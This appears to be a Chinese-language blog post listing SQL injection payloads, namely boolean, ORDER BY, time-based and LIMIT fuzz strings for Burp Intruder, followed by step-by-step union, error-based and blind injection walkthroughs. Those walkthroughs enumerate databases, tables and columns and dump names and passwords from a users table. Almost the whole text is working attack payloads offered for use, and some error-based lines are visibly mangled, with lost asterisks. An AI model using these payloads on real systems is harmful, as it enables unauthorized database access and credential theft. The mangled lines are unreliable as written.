sql注入payload

分享一些平時測試用的sql payloads

1:BOOL SQLINJECTION

\
'
"
%df'
%df"
and 1=1
and 1=2
' and '1'='1
' and '1'='2
" and "1"="1
" and "1"="2
) and (1=1
) and (1=2
') and ('1'='1
') and ('1'='2
%' and 1=1 and '%'='
%' and 1=2 and '%'='x
%') and 1=1 and ('%'='
%') and 1=2 and ('%'='x
OR 1=1
OR 1=2
' OR 1=1-- -
' OR 1=2-- -
) OR 1=1-- -
) OR 1=2-- -
') OR 1=1-- -
') OR 1=2-- -
" OR "1"="1
" OR "1"="2
' OR '1'='1
' OR '1'='2
) OR (1=1
) OR (1=2
') OR ('1'='1
') OR ('1'='2

2:ORDER BY SQLINJECTION fuzz payload

(case when(1=1) then 1 else (select 1 union select 2) end)
(case when(1=2) then 1 else (select 1 union select 2) end)
,(1-(case when(1=1) then 1 else (select 1 union select 2) end))
,(1-(case when(1=2) then 1 else (select 1 union select 2) end))
,1=if((1=1),1,(select 1 union select 2))
,1=if((1=2),1,(select 1 union select 2))
,If((1=1),1,(select 1 union select 2))-- -
,If((1=2),1,(select 1 union select 2))-- -
,If((1=1),sleep(4),(select 1 union select 2))-- -
-IF((1=1),1,(SELECT 1 UNION SELECT 2))-- -
-IF((1=2),1,(SELECT 1 UNION SELECT 2))-- -
-(case when(1=1) then 1 else (select 1 union select 2) end)
-(case when(1=2) then 1 else (select 1 union select 2) end)

3:TIME-BASE SQLINJECTION

'%2b(if((1=1 and sleep(4)),1,(select 1 union select 2)))%2b'a
-IF((1=1),sleep(4),(SELECT 1 UNION SELECT 2))-- -
';(SELECT 1 FROM(SELECT(sleep(4)))lWuP)-- -
;SELECT sleep(4)
);SELECT sleep(4)-- -
;SELECT sleep(4)-- -
;(SELECT 1 FROM(SELECT(sleep(4)))lWuP)-- -
' AND SLEEP(4)%23
AND sleep(4)
' AND sleep(4) AND '1'='1
') AND sleep(4) AND ('1'='1
) AND sleep(4) AND (1=1
" AND sleep(4) AND "1"="
') and (select(0)from(select(sleep(4)))x)-- -
and (select(0)from(select(sleep(4)))x)
and (select(0)from(select(sleep(4)))x) and 1=1
' and (select(0)from(select(sleep(4)))x) and '1'='1
" and (select(0)from(select(sleep(4)))x) and "1"="1
) and (select(0)from(select(sleep(4)))x) and (1=1
') and (select(0)from(select(sleep(4)))x) and ('1'='1
rlike (select(0)from(select(sleep(4)))x) and 1=1
' rlike (select(0)from(select(sleep(4)))x) and '1'='1
) rlike (select(0)from(select(sleep(4)))x) and (1=1
') rlike (select(0)from(select(sleep(4)))x) and ('1'='1
;waitfor delay '0:0:4' -- -
';waitfor delay '0:0:4' -- -
);waitfor delay '0:0:4' -- -
');waitfor delay '0:0:4' -- -
if(now()=sysdate(),sleep(4),0)/*'XOR(if(now()=sysdate(),sleep(4),0))OR'"XOR(if(now()=sysdate(),sleep(4),0))OR"*/
(SELECT * FROM(SELECT(sleep(4)))lWuP)

4:LIMIT SQLINJECTION 

procedure analyse(extractvalue(1,if(1=1,benchmark(5000000,md5(1)),2)),1)

用法就不用多說,放burp instuder fuzz 就行了

 


 

注: 以下payload均基於單引號字符型注入。若是整型注入,需將單引號與後面的註釋符(--+)都去掉;若是雙引號注入,需將單引號改爲雙引號。

可聯合查詢注入

使用情景:頁面有顯示位。
優點:語句簡單,快速。
缺點:條件苛刻。

原理:通過顯示位,直接爆出所查信息。

1.判斷當前數據表中有幾列:
?id=1' order by 數值 --+
2.查看顯示位在第幾列(這裏假設共有3列):
?id=-1' union select 1,2,3 --+
3.顯示當前數據庫(假設顯示位在第3 列):
?id=-1' union select 1,2,database() --+
4.查詢當前數據庫的所有表:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
5.查詢所有數據庫 :
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
6.查詢某個數據庫中的表 (此例爲 db1 數據庫):
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='message') --+
7.查詢某個表中的所有字段 (此例爲 message數據庫中的users 表):
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='message' and table_name='users') --+
8.查詢某個表中的字段內容(此例爲 message數據庫中的users 表):
?id=-1' union select 1,2,(select group_concat(name,0x3a,0x3a,passwd) from message.users) --+

報錯型注入(常存在 部署於開發環境的)

使用情景:服務器開着,有mysql_error()的報錯信息,但是沒有顯示位。
優點:沒顯示位也可用,快速。
缺點:語句複雜。

原理:根據詳細的報錯信息。可以查看到數據庫中的所有內容。

floor 類型
固定格式:(星號位置替換爲查詢語句即可)
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(*******),0x3a,0x3a, floor(rand(0)2)) a from information_schema.columns group by a)s) --+
1.爆數據庫:
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select distinct table_schema from information_schema.columns limit 1,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+
小提示:由於報錯信息每次只能顯示1行,所以此處使用limit,通過修改limit後的第一個數值,可依次爆出所有內容。下同。
2.爆表名(此例爲message數據庫):
?id=1' and (select 1 from (select count(
),concat(0x3a,0x3a,(
select table_name from information_schema.tables where table_schema='message' limit 2,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+
3.爆字段(此例爲message數據庫的users表):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 2,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+
4.爆內容(此例爲message數據庫的users表):
?id=1' and (select 1 from (select count(),concat(0x3a,0x3a,(
select concat(0x3a,0x3a, name,0x3a,0x3a,passwd,0x3a,0x3a) from message.users limit 0,1
),0x3a,0x3a, floor(rand(0)
2)) a from information_schema.columns group by a)s) --+

布爾類型注入sql盲注

優點:通用性強,可以沒有顯示位,可以沒有報錯信息
缺點:慢。

原理:根據返回頁面是否正常,判斷值的範圍,通過二分法最終確定具體的值

使用到的函數:
exists() 查詢至少返回一條數據
返回:true or false
ascii() 返回一個字符串最左邊ascii碼的值
substr() 三個參數,一:字符串,二:開始位置,三:長度 mysql中開始位置從1開始。
length() 計算長度函數

payload:
1.查詢所有數據庫

  1. 查詢數據庫個數:
    ?id=1' and ((select count(schema_name) from information_schema.schemata) < 77)--+
    77爲隨意輸入數字,可通過二分法確定最終值。下同。
  2. 查詢某一個數據庫的長度:
    ?id=1' and ((select length(schema_name) from information_schema.schemata limit 1,1) < 77)--+
    3)查看某個數據庫名:
    ?id=1' and ((select ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))) < 77)--+
    通過改變limit與substr的值,依次查看每一個字符

2.查詢某個數據庫的所有表
1)查詢表的個數 (此例爲message數據庫中的表):
?id=1' and ((select count(distinct+table_name) from information_schema.tables where table_schema='message' ) < 77)--+
2)查看某個表名的長度(此例爲message數據庫中的表):
?id=1' and ((select length(table_name) from information_schema.tables where table_schema='message' limit 1,1) < 77)--+
3)查看某個表名(此例爲message數據庫中的表):
?id=1' and ((select ascii(substr((select table_name from information_schema.tables where table_schema='message' limit 1,1),1,1))) < 77)--+
通過改變limit與substr的值,依次查看每一個字符

3.查詢某個表中的所有字段
1)表中字段的個數(此例中爲message數據庫中的users表):
?id=1' and ((select count(distinct+column_name) from information_schema.columns where table_schema='message' and table_name='users' ) < 77)--+
2)查看某個字段名的長度(此例中爲message數據庫中的users表):
?id=1' and ((select length(column_name) from information_schema.columns where table_schema='message' and table_name='users' limit 1,1) < 77)--+
3)查看某個字段名(此例中爲message數據庫中的users表):
?id=1 ' and ((select ascii(substr((select column_name from information_schema.columns where table_schema='message' and table_name='users' limit 1,1),1,1))) < 77)--+
通過改變limit與substr的值,依次查看每一個字符

4.查看內容
1)查看錶中的行數(此例中爲message數據庫中的users表):
?id=1' and ((select count(*) from message.users ) < 77)--+
2)查看某個字段對應內容的長度(此例中爲message數據庫中的users表):
?id=1' and ((select length(name) from message.users limit 1,1) < 77)--+
3)查看某個字段名對應內容(此例中爲message數據庫中的users表中的name字段):
?id=1' and ((select ascii(substr((select name from message.users limit 1,1),1,1))) < 77)--+
通過改變limit與substr的值,依次查看每一個字符

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章